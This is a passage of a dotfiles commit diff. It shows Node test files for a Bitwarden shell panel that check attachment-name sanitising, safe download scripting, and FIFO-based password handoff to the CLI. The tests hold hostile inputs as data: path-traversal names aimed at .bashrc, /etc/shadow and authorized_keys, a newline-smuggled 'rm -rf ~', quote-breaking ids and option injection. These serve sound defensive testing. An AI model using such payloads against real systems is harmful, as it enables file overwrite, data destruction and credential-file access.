Sync config from arch

- hypr/apps.lua
- hypr/autostart.lua
- hypr/envs.lua
- hypr/hyprland.lua
- hypr/hyprsunset.conf
- hypr/input.lua
- hypr/looknfeel.lua
- hypr/omasettings.lua
- hypr/xdph.conf
- omarchy/branding/about.txt
- omarchy/branding/screensaver.txt
- omarchy/extensions/omarchy-menu.jsonc
- omarchy/hooks/battery-low.d/play-warning-sound.sample
- omarchy/hooks/font-set.d/show-font-notification.sample
- omarchy/hooks/post-boot.d/weather.sample
- omarchy/hooks/post-update.d/install-voxtype.hook
- omarchy/hooks/post-update.d/setup-agent.hook
- omarchy/hooks/post-update.d/setup-fingerprint.hook
- omarchy/hooks/post-update.d/show-update-notification.sample
- omarchy/hooks/pre-refresh-pacman.d/add-custom-repo.sample
- omarchy/hooks/theme-set.d/show-theme-notification.sample
- omarchy/shell.json
- omarchy/shell.toml
- omarchy/theme.name
- omarchy/themes/azure-glow/README.md
- omarchy/themes/azure-glow/alacritty.toml
- omarchy/themes/azure-glow/btop.theme
- omarchy/themes/azure-glow/hyprland.conf
- omarchy/themes/azure-glow/hyprlock.conf
- omarchy/themes/azure-glow/icons.theme
- … 269 more
This commit is contained in:
asepharyana
2026-09-23 15:19:12 +07:00
commit 1cdb82a76f
300 changed files with 78143 additions and 0 deletions
@@ -0,0 +1,493 @@
#!/usr/bin/env node
// Attachment metadata rides along with `bw list items`, so the panel lists an
// item's files without a second CLI call; only the bytes are fetched, and only
// on demand. Two things are worth pinning down here: that the metadata really
// does survive both parse paths, and that a file name out of the vault -- which
// is attacker-controlled text about to become part of a path we create --
// cannot escape the download directory.
//
// node tests/attachments.test.js
const fs = require("fs")
const path = require("path")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const bodyOf = (name) => {
const start = panelSrc.indexOf(`function ${name}(`)
if (start === -1) return ""
let depth = 0
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
if (panelSrc[i] === "{") depth++
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
}
return ""
}
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.parseItems = parseItems
exports.parseItemDetail = parseItemDetail
exports.itemDetailFromObject = itemDetailFromObject
exports.parseAttachments = parseAttachments
exports.formatAttachmentSize = formatAttachmentSize
exports.safeAttachmentFileName = safeAttachmentFileName
exports.attachmentDownloadCommand = attachmentDownloadCommand
exports.editItemCommand = editItemCommand
exports.deleteSendCommand = deleteSendCommand
exports.deleteItemCommand = deleteItemCommand
exports.getTotpCommand = getTotpCommand
exports.getItemCommand = getItemCommand
exports.parentDirectory = parentDirectory
exports.baseName = baseName
exports.filterItems = filterItems
exports.findContextualMatches = findContextualMatches
exports.itemDomains = itemDomains
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
const withFiles = {
object: "item", id: "11111111-1111-1111-1111-111111111111",
organizationId: null, folderId: null, type: 2, name: "Recovery Codes",
notes: "", favorite: false, secureNote: { type: 0 },
attachments: [
{ object: "attachment", id: "a1", fileName: "codes.txt", size: "412", sizeName: "412 B" },
{ object: "attachment", id: "a2", fileName: "key.pem", size: "3204", sizeName: "3.13 KB" }
]
}
const withoutFiles = {
object: "item", id: "22222222-2222-2222-2222-222222222222",
type: 1, name: "GitHub", notes: "", favorite: false,
login: { username: "octocat", password: "s3cr3t", uris: [] }
}
// --- the metadata survives every path an item can arrive by ------------------
const detail = Model.itemDetailFromObject(withFiles)
check("the detail view sees both attachments",
detail.hasAttachments && detail.attachments.length === 2,
JSON.stringify(detail.attachments))
check("with the name and size bw reported",
detail.attachments[0].fileName === "codes.txt" && detail.attachments[0].sizeName === "412 B",
JSON.stringify(detail.attachments[0]))
check("the list-built detail matches the get-item-built detail",
JSON.stringify(Model.itemDetailFromObject(withFiles))
=== JSON.stringify(Model.parseItemDetail(JSON.stringify(withFiles))),
JSON.stringify(Model.itemDetailFromObject(withFiles).attachments))
const listed = Model.parseItems(JSON.stringify([withFiles, withoutFiles]))
const listedWith = listed.find(i => i.id === withFiles.id)
const listedWithout = listed.find(i => i.id === withoutFiles.id)
check("the list row knows the item has files, which is what draws the paperclip",
listedWith.hasAttachments === true, String(listedWith.hasAttachments))
check("and knows when it has none",
listedWithout.hasAttachments === false && listedWithout.attachments.length === 0,
JSON.stringify(listedWithout.attachments))
check("opening a listed item still yields its attachments without a second call",
Model.itemDetailFromObject(listedWith.rawObject).attachments.length === 2,
JSON.stringify(Model.itemDetailFromObject(listedWith.rawObject).attachments))
// --- malformed metadata is dropped, never rendered ---------------------------
check("a missing attachments array is an empty list, not a crash",
Model.parseAttachments(undefined).length === 0, "threw or returned non-empty")
check("a non-array is too", Model.parseAttachments("nope").length === 0, "non-empty")
check("an entry with no id is dropped -- there is nothing to fetch it by",
Model.parseAttachments([{ fileName: "orphan.txt" }]).length === 0, "kept")
check("an entry with no file name still gets a label",
Model.parseAttachments([{ id: "x" }])[0].fileName === "attachment",
Model.parseAttachments([{ id: "x" }])[0].fileName)
// --- the size fallback, for entries that arrive without sizeName -------------
const sized = Model.parseAttachments([{ id: "x", fileName: "f", size: "2048" }])
check("a byte count with no sizeName is formatted", sized[0].sizeName === "2 KB", sized[0].sizeName)
for (const [bytes, want] of [[0, "0 B"], [512, "512 B"], [1024, "1 KB"],
[1536, "1.5 KB"], [1048576, "1 MB"], [5242880, "5 MB"]]) {
check(`${bytes} bytes reads as ${want}`, Model.formatAttachmentSize(bytes) === want,
Model.formatAttachmentSize(bytes))
}
check("a missing size yields no size text rather than NaN",
Model.formatAttachmentSize(undefined) === "", Model.formatAttachmentSize(undefined))
check("so does junk", Model.formatAttachmentSize("banana") === "", Model.formatAttachmentSize("banana"))
// --- a vault file name cannot escape the download directory ------------------
//
// This is the one that matters: the name is decrypted vault content, and the
// download path is built from it.
const traversals = [
"../../.bashrc",
"/etc/passwd",
"..\\..\\windows\\system32\\evil.dll",
"sub/dir/../../../../root/.ssh/authorized_keys",
"....//....//etc/shadow"
]
for (const raw of traversals) {
const safe = Model.safeAttachmentFileName(raw)
check(`"${raw}" cannot traverse`,
safe.indexOf("/") === -1 && safe.indexOf("\\") === -1 && safe !== ".." && safe !== ".",
safe)
check(`"${raw}" cannot start a path or a flag`,
safe[0] !== "." && safe[0] !== "-" && safe[0] !== "/", safe)
}
check("a NUL is neutralised", Model.safeAttachmentFileName("a\u0000b").indexOf("\u0000") === -1,
JSON.stringify(Model.safeAttachmentFileName("a\u0000b")))
check("so is a newline, which no shell quoting would have caught on its own",
Model.safeAttachmentFileName("a\nrm -rf ~\n").indexOf("\n") === -1,
JSON.stringify(Model.safeAttachmentFileName("a\nrm -rf ~\n")))
check("an empty name still yields something openable",
Model.safeAttachmentFileName("") === "attachment", Model.safeAttachmentFileName(""))
check("a name of nothing but dots does too",
Model.safeAttachmentFileName("...") === "attachment", Model.safeAttachmentFileName("..."))
check("an ordinary name is left alone",
Model.safeAttachmentFileName("Scan 2026-08-21.pdf") === "Scan 2026-08-21.pdf",
Model.safeAttachmentFileName("Scan 2026-08-21.pdf"))
check("spaces and unicode survive",
Model.safeAttachmentFileName("résumé final.pdf") === "résumé final.pdf",
Model.safeAttachmentFileName("résumé final.pdf"))
const long = Model.safeAttachmentFileName("x".repeat(400) + ".pdf")
check("an absurdly long name is truncated but keeps its extension",
long.length <= 128 && long.slice(-4) === ".pdf", `${long.length} ${long.slice(-8)}`)
// --- the download command ----------------------------------------------------
const cmd = Model.attachmentDownloadCommand("a1", "item-id", "codes.txt")
check("it runs through bash, because the download directory is resolved at run time",
cmd[0] === "bash" && cmd[1] === "-c", JSON.stringify(cmd.slice(0, 2)))
const script = cmd[2]
check("the attachment id and item id are quoted, never interpolated bare",
script.indexOf("bw get attachment --itemid 'item-id'") !== -1
&& script.indexOf("-- 'a1'") !== -1, script)
check("the file name is quoted too", script.indexOf("name='codes.txt'") !== -1, script)
check("it prints where the file landed, which is how the panel learns the path",
/printf %s "\$out"/.test(script), script)
check("it claims the name with link(), which is the existence test and the creation at once",
script.indexOf('ln -- "$tmp" "$cand"') !== -1, script)
check("it no longer decides the name with a test a symlink can answer for",
script.indexOf('while [ -e "$out" ]') === -1, script)
check("the bytes are staged in a private directory before they are placed",
script.indexOf('mktemp -d -- "$dir/.qsbw-XXXXXXXX"') !== -1
&& script.indexOf('--output "$tmp"') !== -1, script)
check("the staging directory is removed however the script leaves",
script.indexOf(`trap 'rm -rf -- "$work"' EXIT`) !== -1, script)
check("a decrypted attachment is not left readable by anyone else",
script.split("\n").indexOf("umask 077") !== -1, script)
check("locking and panel dismissal cancel an attachment that is still decrypting",
/cancelAttachmentDownloads\(\)/.test(bodyOf("dropVaultState"))
&& /cancelAttachmentDownloads\(\)/.test(bodyOf("close"))
&& /if\s*\(attachmentProc\.running\)\s*attachmentProc\.running\s*=\s*false/.test(bodyOf("cancelAttachmentDownloads"))
&& /invalidateEpochOperation\("attachment"\)/.test(bodyOf("cancelAttachmentDownloads")),
bodyOf("close") + "\n" + bodyOf("dropVaultState") + "\n" + bodyOf("cancelAttachmentDownloads"))
check("cancellation reaches the complete attachment process group",
script.includes("set -m") && script.includes('kill -TERM -- "-$__auth_job"'), script)
// --- the ceilings ------------------------------------------------------------
check("the transfer is bounded in bytes by RLIMIT_FSIZE",
/ulimit -f \d+/.test(script), script)
check("the transfer is bounded in time",
/timeout \d+s bw get attachment/.test(script)
&& !script.includes("command -v timeout"), script)
check("the disk is not filled to the last byte",
script.indexOf("df -Pk") !== -1, script)
check("an unknown declared size reserves room for the full bounded transfer",
script.indexOf('[ "$avail" -lt 589824 ]') !== -1, script)
check("the size the vault declares buys an early refusal",
script.indexOf('if [ "$want" -gt "$max" ]') !== -1, script)
check("the size on disk is checked even where the kernel limit was not applied",
script.indexOf('wc -c < "$tmp"') !== -1, script)
const withSize = Model.attachmentDownloadCommand("a1", "item-id", "codes.txt", "4096")
check("the declared size reaches the script", withSize[2].indexOf("want=4096") !== -1, withSize[2])
check("a missing or nonsense declared size is treated as unknown, not as a refusal",
Model.attachmentDownloadCommand("a1", "i", "f.txt")[2].indexOf("want=0") !== -1
&& Model.attachmentDownloadCommand("a1", "i", "f.txt", "nope")[2].indexOf("want=0") !== -1,
Model.attachmentDownloadCommand("a1", "i", "f.txt", "nope")[2])
check("the no-hardlink fallback still refuses to replace a raced destination",
script.indexOf('mv -n -- "$tmp" "$cand"') !== -1, script)
check("it refuses to treat $HOME as the download directory",
script.indexOf("\"$dir\" = \"$HOME\"") !== -1, script)
check("it stops at the first failure rather than printing a path for a file it did not write",
/set -e/.test(script), script.split("\n")[0])
// A hostile name reaches the script already defanged, and quoted on top.
const hostile = Model.attachmentDownloadCommand("a'1", "i'd", "../../.bashrc")
check("a quote in the attachment id cannot break out of its quoting",
hostile[2].indexOf("bw get attachment --itemid 'i'\\''d'") !== -1
&& hostile[2].indexOf("-- 'a'\\''1'") !== -1, hostile[2])
check("a traversing name is sanitised before it is ever quoted",
hostile[2].indexOf("name='.bashrc'") === -1 && hostile[2].indexOf("name='bashrc'") !== -1,
hostile[2].split("\n")[1])
// --- path helpers the detail view uses ---------------------------------------
check("parentDirectory finds the folder to reveal",
Model.parentDirectory("/home/u/Downloads/f.pdf") === "/home/u/Downloads",
Model.parentDirectory("/home/u/Downloads/f.pdf"))
check("a root-level file reveals /", Model.parentDirectory("/f.pdf") === "/",
Model.parentDirectory("/f.pdf"))
check("a bare name has no folder to reveal", Model.parentDirectory("f.pdf") === "",
Model.parentDirectory("f.pdf"))
check("baseName names the saved file for the flash message",
Model.baseName("/home/u/Downloads/f.pdf") === "f.pdf",
Model.baseName("/home/u/Downloads/f.pdf"))
// --- the shape QML hands back ------------------------------------------------
//
// This is the one that would have caught the bug that shipped. A cipher parsed
// from `bw` JSON holds real arrays, and every check in the model said
// Array.isArray(). But the parsed cipher is stored in a QML `var` property and
// read back through a ListView delegate, and Qt converts the nested arrays on
// that trip into array-like objects: typeof "object", correct .length,
// indexing works, Array.isArray() false. So the detail view built from that
// object found no attachments on an item the list had just drawn a paperclip
// on -- and no error anywhere, because an empty list is a valid answer.
//
// Node always gives real arrays, which is exactly why the first round of tests
// passed while the panel was broken. So fake the conversion here.
const qmlish = (arr) => {
// Array-like, deliberately not an Array -- what Qt hands back.
const o = { length: arr.length }
arr.forEach((v, i) => { o[i] = v && typeof v === "object" ? qmlish_obj(v) : v })
return o
}
const qmlish_obj = (obj) => {
if (Array.isArray(obj)) return qmlish(obj)
const out = {}
for (const k of Object.keys(obj)) {
const v = obj[k]
out[k] = (v && typeof v === "object") ? qmlish_obj(v) : v
}
return out
}
const roundTripped = qmlish_obj(withFiles)
check("the round-tripped attachments really are not an Array, or this test proves nothing",
!Array.isArray(roundTripped.attachments) && roundTripped.attachments.length === 2,
`${Array.isArray(roundTripped.attachments)} len=${roundTripped.attachments.length}`)
const rtDetail = Model.itemDetailFromObject(roundTripped)
check("attachments survive the QML round trip",
rtDetail.hasAttachments && rtDetail.attachments.length === 2,
JSON.stringify(rtDetail.attachments))
check("with their names intact",
rtDetail.attachments.length > 0 && rtDetail.attachments[0].fileName === "codes.txt",
JSON.stringify(rtDetail.attachments))
// The same conversion silently emptied these two long before attachments
// existed: the detail view's WEBSITE section and its custom fields.
const login = {
object: "item", id: "33333333-3333-3333-3333-333333333333", type: 1,
name: "GitHub", notes: "", favorite: false,
login: { username: "octocat", password: "p", uris: [{ match: null, uri: "https://github.com" }] },
fields: [{ name: "recovery", value: "abcd", type: 1 }]
}
const rtLogin = Model.itemDetailFromObject(qmlish_obj(login))
check("URIs survive it too -- the WEBSITE section was empty for every login",
rtLogin.uris.length === 1 && rtLogin.uris[0] === "https://github.com",
JSON.stringify(rtLogin.uris))
check("and so do custom fields",
rtLogin.fields.length === 1 && rtLogin.fields[0].name === "recovery",
JSON.stringify(rtLogin.fields))
// itemDetailFromObject was taught the lesson; the two readers that run over
// root.items on every keystroke and every panel open were not. Searching by
// URL and matching an item to the focused site both read login.uris straight
// off a round-tripped cipher.
const rtListItem = Model.parseItems(JSON.stringify([login])).map(qmlish_obj)
check("searching by URL still finds the item after the round trip",
Model.filterItems(rtListItem, "github.com", "all", "all", "all").length === 1,
`matched ${Model.filterItems(rtListItem, "github.com", "all", "all", "all").length} items`)
check("and the site's own domain still identifies it",
Model.itemDomains(rtListItem[0]).length === 1
&& Model.itemDomains(rtListItem[0])[0].baseDomain === "github.com",
JSON.stringify(Model.itemDomains(rtListItem[0])))
check("so the focused tab still suggests it",
Model.findContextualMatches(rtListItem,
{ class: "chromium", title: "Pulls - github.com - Chromium", mapped: true })
.matches.length === 1,
"expected the item back on a domain match")
// The list parser held the same ceiling as the detail parser everywhere except
// here, where the URI array is real and was copied out entry for entry. A
// single item is free to carry as many as the byte cap allows.
const floodUris = []
for (let i = 0; i < 5000; i++) floodUris.push({ uri: "https://example" + i + ".com" })
check("a flooded URI list is held to the ceiling on the list path too",
Model.parseItems(JSON.stringify([{ id: "i", type: 1, login: { uris: floodUris } }]))[0].uris.length === 4096,
String(Model.parseItems(JSON.stringify([{ id: "i", type: 1, login: { uris: floodUris } }]))[0].uris.length))
// toList must not mistake a string, or anything else with a length, for a list.
check("a string is not a list of characters",
Model.parseAttachments("nope").length === 0, "treated a string as a list")
check("an object with a junk length is not a list",
Model.parseAttachments({ length: -1 }).length === 0
&& Model.parseAttachments({ length: 1.5 }).length === 0
&& Model.parseAttachments({ length: "2" }).length === 0, "accepted a junk length")
// Duck-typing takes the server's word for how long a list is, and the word is
// free to be a lie: {"length": 200000000} is forty bytes that asked for a
// two-hundred-million-element array. The byte cap on the item list cannot see
// it coming. So the length is a ceiling, not an instruction.
const manyUris = { length: 5000 }
for (let i = 0; i < 5000; i++) manyUris[i] = { uri: "https://example" + i + ".com" }
check("a list longer than any real item stops at the ceiling",
Model.itemDetailFromObject({ id: "i", type: 1, login: { uris: manyUris } }).uris.length === 4096,
String(Model.itemDetailFromObject({ id: "i", type: 1, login: { uris: manyUris } }).uris.length))
const manyReal = []
for (let i = 0; i < 5000; i++) manyReal.push({ id: "a" + i, fileName: "f" + i, size: "1" })
check("and a real array is held to the same ceiling",
Model.parseAttachments(manyReal).length === 4096, String(Model.parseAttachments(manyReal).length))
// Run in a child with a small heap: with the ceiling this finishes instantly,
// and without it the parse takes the whole process down with it -- which, in
// the panel, is the shell.
const lengthLie = `
const fs = require("fs")
const M = {}
new Function("exports", fs.readFileSync(${JSON.stringify(path.join(__dirname, "..", "BitwardenModel.js"))}, "utf8")
.replace(/^\\.pragma library\\s*$/m, "") + "\\nexports.parseItems = parseItems")(M)
M.parseItems(JSON.stringify([{
object: "item", id: "x", type: 1, name: "n",
attachments: { length: 200000000 },
login: { uris: { length: 200000000 } },
fields: { length: 200000000 }
}]))
`
let survived = true
try {
require("child_process").execFileSync(process.execPath,
["--max-old-space-size=256", "-e", lengthLie],
{ stdio: ["ignore", "pipe", "pipe"], timeout: 30000 })
} catch (e) {
survived = false
}
check("a declared length of two hundred million does not take the shell process with it",
survived, "the parse exhausted the heap")
// --- and the script actually run ---------------------------------------------
//
// String-matching the script only says what we wrote. What matters is what
// bash does with it, so it is run for real here against a stub `bw` and a
// throwaway HOME: the traversal has to end up inside the download directory,
// and a name collision must never overwrite what is already there.
const os = require("os")
const { execFileSync } = require("child_process")
const home = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-attachments-"))
const bin = path.join(home, "bin")
fs.mkdirSync(bin)
fs.writeFileSync(path.join(bin, "bw"), `#!/usr/bin/env bash
# Stands in for the CLI: writes whatever --output names, or fails on demand.
out=""
while [ $# -gt 0 ]; do if [ "$1" = "--output" ]; then out="$2"; fi; shift; done
if [ -n "$QSBW_TEST_FAIL" ]; then echo "Not found." >&2; exit 1; fi
printf 'bytes\\n' > "$out"
echo "Saved $out"
`)
fs.chmodSync(path.join(bin, "bw"), 0o755)
const env = { PATH: bin + ":/usr/bin:/bin", HOME: home }
const run = (fileName, extra, declaredSize) => {
const cmd = Model.attachmentDownloadCommand("att-id", "item-id", fileName, declaredSize)
return execFileSync(cmd[0], cmd.slice(1), {
env: Object.assign({}, env, extra || {}),
encoding: "utf8",
stdio: ["ignore", "pipe", "pipe"]
})
}
const downloads = path.join(home, "Downloads")
const firstSave = run("codes.txt")
check("the file lands in the download directory",
firstSave === path.join(downloads, "codes.txt"), firstSave)
check("a second file of the same name does not overwrite the first",
run("codes.txt") === path.join(downloads, "codes (1).txt"), "overwrote")
check("and a third keeps counting",
run("codes.txt") === path.join(downloads, "codes (2).txt"), "overwrote")
check("a name with no extension still gets a free slot",
run("notes") === path.join(downloads, "notes")
&& run("notes") === path.join(downloads, "notes (1)"), "collided")
check("a quote in the file name is data, not syntax",
run("it's here.txt") === path.join(downloads, "it's here.txt"), "broke out")
const traversed = run("../../.bashrc")
check("a traversing name cannot write outside the download directory",
path.dirname(traversed) === downloads && !fs.existsSync(path.join(home, ".bashrc")),
traversed)
let failed = null
try { run("codes.txt", { QSBW_TEST_FAIL: "1" }) } catch (e) { failed = e }
check("a failing bw exits non-zero rather than reporting a path for a file it never wrote",
failed !== null && String(failed.stdout || "") === "", String(failed && failed.stdout))
// --- the size the server declares ---------------------------------------------
//
// The size is the one value out of the vault that reaches the script as a bare
// word, and a big enough number is spelled "1e+30" in JavaScript. Bash reads
// that as a non-integer, so `[ "$want" -gt "$max" ]` and the free-space test
// both failed as errors rather than answering, and a failing test inside an
// `if` is simply skipped -- the download then ran with neither ceiling and
// said nothing about it. A hostile server picks this number, so it is checked
// by running the script, not by reading it.
for (const absurd of ["1e21", "1e30", "1e40", "999999999999999999999999"]) {
let refused = null
try { run(`huge-${absurd}.bin`, {}, absurd) } catch (e) { refused = e }
check(`a declared size of ${absurd} is refused instead of skipping both ceilings`,
refused !== null && String(refused.stderr || "").indexOf("download limit") !== -1,
refused ? String(refused.stderr) : "the download went ahead")
check(`and nothing lands in the download folder for ${absurd}`,
!fs.existsSync(path.join(downloads, `huge-${absurd}.bin`)), "a file was written")
check(`and no raw bash error is what the panel would show for ${absurd}`,
refused !== null && String(refused.stderr || "").indexOf("integer expected") === -1,
refused ? String(refused.stderr) : "")
}
check("a size within the limit still downloads",
run("sized.txt", {}, "4096") === path.join(downloads, "sized.txt"), "refused a legitimate size")
// Whatever the server says, nothing exponential may be written into the script.
for (const absurd of ["1e21", "1e30", "1e40", String(Number.MAX_SAFE_INTEGER * 512)]) {
const generated = Model.attachmentDownloadCommand("a", "i", "f.bin", absurd)[2]
check(`every number in the script stays a plain integer for ${absurd}`,
!/[0-9]e[+-][0-9]/.test(generated), generated.split("\n").filter(l => /e[+-][0-9]/.test(l)).join(" | "))
}
fs.rmSync(home, { recursive: true, force: true })
// --- a server-chosen id cannot become an option to bw ------------------------
//
// Quoting defends against the shell, not against bw's own parser: `bw get item
// --help` prints help rather than looking anything up, and every id here is the
// server's to choose. `--` ends the options, and our own flags go before it.
const optionish = "--help"
const guarded = [
["getItemCommand", Model.getItemCommand(optionish), "bw get item -- --help"],
["getTotpCommand", Model.getTotpCommand(optionish), "bw get totp --raw -- --help"],
["deleteItemCommand", Model.deleteItemCommand(optionish), "bw delete item -- --help"],
["deleteSendCommand", Model.deleteSendCommand(optionish), "bw send delete -- --help"],
]
for (const [name, cmd, want] of guarded) {
check(`${name} ends the options before the id`, cmd[2].indexOf(want) !== -1, cmd[2])
}
check("editItemCommand ends the options before the id",
Model.editItemCommand(optionish)[2].indexOf("bw edit item -- '--help'") !== -1,
Model.editItemCommand(optionish)[2])
check("the attachment id goes last, after our own flags and the separator",
Model.attachmentDownloadCommand(optionish, "i", "f.txt")[2]
.indexOf(`--output "$tmp" -- '--help'`) !== -1,
Model.attachmentDownloadCommand(optionish, "i", "f.txt")[2])
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,331 @@
#!/usr/bin/env node
// Regression coverage for password-FIFO auth prewarming. The expensive bw
// process must be alive before the password is submitted, while the password
// itself stays out of argv and is written only after the user submits.
//
// node tests/auth-prewarm.test.js
const fs = require("fs")
const os = require("os")
const path = require("path")
const { execFileSync } = require("child_process")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.unlockPrewarmCommand = typeof unlockPrewarmCommand === "function" ? unlockPrewarmCommand : null
exports.emailLoginPrewarmCommand = typeof emailLoginPrewarmCommand === "function" ? emailLoginPrewarmCommand : null
exports.apiKeyLoginCommand = typeof apiKeyLoginCommand === "function" ? apiKeyLoginCommand : null
exports.authPasswordWriteCommand = typeof authPasswordWriteCommand === "function" ? authPasswordWriteCommand : null
exports.passwordEnvVar = passwordEnvVar
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const flat = command => (command || []).join(" ")
check("the model exposes the three prewarming commands",
!!Model.unlockPrewarmCommand && !!Model.emailLoginPrewarmCommand && !!Model.authPasswordWriteCommand,
"unlock, email login and writer commands are required")
if (Model.unlockPrewarmCommand && Model.emailLoginPrewarmCommand && Model.authPasswordWriteCommand) {
const unlock = Model.unlockPrewarmCommand()
const email = Model.emailLoginPrewarmCommand("person@example.com", false, "")
const email2fa = Model.emailLoginPrewarmCommand("person@example.com", true, "https://vault.example.com")
const writer = Model.authPasswordWriteCommand("unlock")
const distinctive = " exact master password with spaces "
check("prewarmed unlock makes bw itself wait on a password FIFO",
/bw unlock .*--passwordfile/.test(flat(unlock)) && !flat(unlock).includes("--passwordenv"), flat(unlock))
check("prewarmed email login makes bw itself wait on a password FIFO",
/bw login .*--passwordfile/.test(flat(email)) && !flat(email).includes("--passwordenv"), flat(email))
check("email and server inputs remain shell-quoted",
flat(email2fa).includes("'person@example.com'")
&& flat(email2fa).includes("'https://vault.example.com'"), flat(email2fa))
check("2FA still expands from its environment binding",
flat(email2fa).includes('--code "$QSBW_CODE"'), flat(email2fa))
check("the writer reads the password from the existing protected environment binding",
flat(writer).includes('"$' + Model.passwordEnvVar() + '"'), flat(writer))
check("neither half embeds a password in its command",
!flat(unlock).includes(distinctive) && !flat(writer).includes(distinctive), flat(unlock) + "\n" + flat(writer))
check("an unknown FIFO name is rejected instead of becoming a path",
Model.authPasswordWriteCommand("../elsewhere").length === 0,
flat(Model.authPasswordWriteCommand("../elsewhere")))
check("a normally completed child is disarmed before the EXIT cleanup trap runs",
/wait "\$__auth_job"; __auth_rc=\$\?; __auth_job=''; exit "\$__auth_rc"/.test(flat(unlock)),
flat(unlock))
// Exercise the real command pair against a fake bw. The fake announces that
// it has started, then blocks while reading the FIFO. Only after observing
// that announcement do we launch the writer. Leading and trailing spaces
// prove the panel cannot normalize a real master password along the way.
const temp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-prewarm-"))
const bin = path.join(temp, "bin")
const runtime = path.join(temp, "runtime")
fs.mkdirSync(bin)
fs.mkdirSync(runtime, { mode: 0o700 })
const started = path.join(temp, "started")
const received = path.join(temp, "received")
const output = path.join(temp, "output")
const error = path.join(temp, "error")
const token = "Zm9vYmFyYmF6cXV1eDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk9PQ=="
fs.writeFileSync(path.join(bin, "bw"), `#!/usr/bin/env bash
set -u
password_file=""
while [ "$#" -gt 0 ]; do
if [ "$1" = "--passwordfile" ]; then password_file="$2"; shift 2; else shift; fi
done
printf started > "$QSBW_STUB_STARTED"
[ -n "$password_file" ] || exit 9
IFS= read -r password < "$password_file" || true
printf '%s' "$password" > "$QSBW_STUB_RECEIVED"
printf '%s' "$QSBW_STUB_TOKEN"
`)
fs.chmodSync(path.join(bin, "bw"), 0o755)
try {
execFileSync("bash", ["-c", `
set -euo pipefail
bash -c "$QSBW_PREWARM_SCRIPT" >"$QSBW_OUTPUT" 2>"$QSBW_ERROR" &
auth_pid=$!
started=false
for unused in {1..200}; do
if [ -s "$QSBW_STUB_STARTED" ]; then started=true; break; fi
sleep 0.01
done
[ "$started" = true ]
bash -c "$QSBW_WRITER_SCRIPT"
wait "$auth_pid"
`], {
env: Object.assign({}, process.env, {
PATH: `${bin}:${process.env.PATH}`,
XDG_RUNTIME_DIR: runtime,
BW_PASSWORD: distinctive,
QSBW_PREWARM_SCRIPT: unlock[2],
QSBW_WRITER_SCRIPT: writer[2],
QSBW_STUB_STARTED: started,
QSBW_STUB_RECEIVED: received,
QSBW_STUB_TOKEN: token,
QSBW_OUTPUT: output,
QSBW_ERROR: error,
}),
stdio: ["ignore", "pipe", "pipe"],
})
check("bw starts before the writer supplies the password", fs.readFileSync(started, "utf8") === "started", "no start marker")
check("the FIFO preserves the exact password bytes", fs.readFileSync(received, "utf8") === distinctive,
JSON.stringify(fs.readFileSync(received, "utf8")))
check("the prewarmed command still returns the session token", fs.readFileSync(output, "utf8") === token,
fs.readFileSync(output, "utf8"))
const fifo = path.join(runtime, "qs-bitwarden-cli", "unlock-password.fifo")
check("the password FIFO is removed when auth finishes", !fs.existsSync(fifo), fifo)
} catch (errorCaught) {
failures.push(`the prewarm command pair completes successfully\n ${errorCaught.stderr || errorCaught.message}`)
} finally {
fs.rmSync(temp, { recursive: true, force: true })
}
// QML stops a Process by sending SIGTERM to its immediate child. A shell
// waiting for a foreground FIFO reader can defer that signal until the
// reader exits, which would strand both after the panel closes. Exercise
// cancellation separately and require the wrapper, its bw child and the
// FIFO to disappear promptly.
const cancelTemp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-prewarm-cancel-"))
const cancelBin = path.join(cancelTemp, "bin")
const cancelRuntime = path.join(cancelTemp, "runtime")
fs.mkdirSync(cancelBin)
fs.mkdirSync(cancelRuntime, { mode: 0o700 })
const childPid = path.join(cancelTemp, "child-pid")
fs.writeFileSync(path.join(cancelBin, "bw"), `#!/usr/bin/env bash
printf '%s' "$$" > "$QSBW_STUB_CHILD_PID"
password_file=""
while [ "$#" -gt 0 ]; do
if [ "$1" = "--passwordfile" ]; then password_file="$2"; shift 2; else shift; fi
done
[ -n "$password_file" ] || exit 9
IFS= read -r unused < "$password_file" || true
`)
fs.chmodSync(path.join(cancelBin, "bw"), 0o755)
try {
const result = execFileSync("bash", ["-c", `
set -u
bash -c "$QSBW_PREWARM_SCRIPT" >"$QSBW_CANCEL_OUTPUT" 2>"$QSBW_CANCEL_ERROR" &
auth_pid=$!
for unused in {1..200}; do [ -s "$QSBW_STUB_CHILD_PID" ] && break; sleep 0.01; done
[ -s "$QSBW_STUB_CHILD_PID" ] || exit 8
bw_pid=$(cat "$QSBW_STUB_CHILD_PID")
kill -TERM "$auth_pid"
parent_stopped=no
for unused in {1..200}; do
if ! kill -0 "$auth_pid" 2>/dev/null; then parent_stopped=yes; break; fi
sleep 0.01
done
if [ "$parent_stopped" = no ]; then kill -KILL "$auth_pid" 2>/dev/null || true; fi
wait "$auth_pid" 2>/dev/null || true
child_stopped=no
for unused in {1..200}; do
if ! kill -0 "$bw_pid" 2>/dev/null; then child_stopped=yes; break; fi
sleep 0.01
done
if [ "$child_stopped" = no ]; then kill -KILL "$bw_pid" 2>/dev/null || true; fi
fifo_gone=no
[ ! -e "$XDG_RUNTIME_DIR/qs-bitwarden-cli/unlock-password.fifo" ] && fifo_gone=yes
printf '%s %s %s' "$parent_stopped" "$child_stopped" "$fifo_gone"
`], {
env: Object.assign({}, process.env, {
PATH: `${cancelBin}:${process.env.PATH}`,
